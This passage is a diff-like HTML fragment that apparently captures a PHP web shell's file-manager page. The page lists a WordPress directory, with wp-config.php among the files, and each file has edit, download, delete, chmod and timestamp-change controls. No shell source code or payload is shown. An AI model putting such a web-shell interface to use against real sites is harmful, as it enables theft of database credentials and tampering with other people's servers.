onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-atom.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-atom.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-atom.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-atom.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox11" value="/var/www/html/wordpress/wp-atom.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-blog-header.php';document.todo.submit();">wp-blog-header.php</a></td> +<td>293 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-blog-header.php';document.todo.submit();">27.11.2009 23:27:51</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-blog-header.php';document.todo.submit();"><b><font color=green>-rwxr-xr-x</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-blog-header.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-blog-header.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-blog-header.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox12" value="/var/www/html/wordpress/wp-blog-header.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-comments-post.php';document.todo.submit();">wp-comments-post.php</a></td> +<td>3.56 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-comments-post.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-comments-post.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-comments-post.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-comments-post.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-comments-post.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox13" value="/var/www/html/wordpress/wp-comments-post.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-commentsrss2.php';document.todo.submit();">wp-commentsrss2.php</a></td> +<td>238 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-commentsrss2.php';document.todo.submit();">04.11.2009 16:49:39</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-commentsrss2.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-commentsrss2.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-commentsrss2.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-commentsrss2.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox14" value="/var/www/html/wordpress/wp-commentsrss2.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-config-sample.php';document.todo.submit();">wp-config-sample.php</a></td> +<td>2.56 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-config-sample.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-config-sample.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-config-sample.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-config-sample.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-config-sample.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox15" value="/var/www/html/wordpress/wp-config-sample.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-config.php';document.todo.submit();">wp-config.php</a></td> +<td>1.21 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-config.php';document.todo.submit();">27.11.2009 23:08:37</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-config.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-config.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-config.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-config.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox16" value="/var/www/html/wordpress/wp-config.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-cron.php';document.todo.submit();">wp-cron.php</a></td> +<td>1.22 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-cron.php';document.todo.submit();">04.11.2009 16:49:41</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-cron.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-cron.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-cron.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-cron.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox17" value="/var/www/html/wordpress/wp-cron.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-feed.php';document.todo.submit();">wp-feed.php</a></td> +<td>220 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-feed.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-feed.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-feed.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-feed.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-feed.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox18" value="/var/www/html/wordpress/wp-feed.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-links-opml.php';document.todo.submit();">wp-links-opml.php</a></td> +<td>1.9 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-links-opml.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-links-opml.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-links-opml.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-links-opml.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-links-opml.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox19" value="/var/www/html/wordpress/wp-links-opml.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-links.php';document.todo.submit();">wp-links.php</a></td> +<td>22.7 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-links.php';document.todo.submit();">14.01.2010 11:48:42</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-links.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-links.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-links.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-links.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox20" value="/var/www/html/wordpress/wp-links.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-load.php';document.todo.submit();">wp-load.php</a></td> +<td>2.29 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-load.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-load.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-load.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-load.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-load.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox21" value="/var/www/html/wordpress/wp-load.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-login.php';document.todo.submit();">wp-login.php</a></td> +<td>20.73 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-login.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-login.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-login.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-login.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-login.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox22" value="/var/www/html/wordpress/wp-login.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-mail.php';document.todo.submit();">wp-mail.php</a></td> +<td>6.95 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-mail.php';document.todo.submit();">04.11.2009 16:49:39</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-mail.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-mail.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-mail.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-mail.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox23" value="/var/www/html/wordpress/wp-mail.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-pass.php';document.todo.submit();">wp-pass.php</a></td> +<td>487 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-pass.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-pass.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-pass.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-pass.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-pass.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox24" value="/var/www/html/wordpress/wp-pass.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-rdf.php';document.todo.submit();">wp-rdf.php</a></td> +<td>218 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rdf.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rdf.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rdf.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rdf.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-rdf.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox25" value="/var/www/html/wordpress/wp-rdf.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-register.php';document.todo.submit();">wp-register.php</a></td> +<td>316 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-register.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-register.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-register.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-register.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-register.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox26" value="/var/www/html/wordpress/wp-register.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-rss.php';document.todo.submit();">wp-rss.php</a></td> +<td>218 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rss.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rss.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rss.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rss.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-rss.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox27" value="/var/www/html/wordpress/wp-rss.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-rss2.php';document.todo.submit();">wp-rss2.php</a></td> +<td>220 B</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rss2.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-rss2.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rss2.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-rss2.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-rss2.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox28" value="/var/www/html/wordpress/wp-rss2.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-settings.php';document.todo.submit();">wp-settings.php</a></td> +<td>21.02 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-settings.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-settings.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-settings.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-settings.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-settings.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox29" value="/var/www/html/wordpress/wp-settings.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-trackback.php';document.todo.submit();">wp-trackback.php</a></td> +<td>3.39 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-trackback.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-trackback.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-trackback.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-trackback.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-trackback.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox30" value="/var/www/html/wordpress/wp-trackback.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" 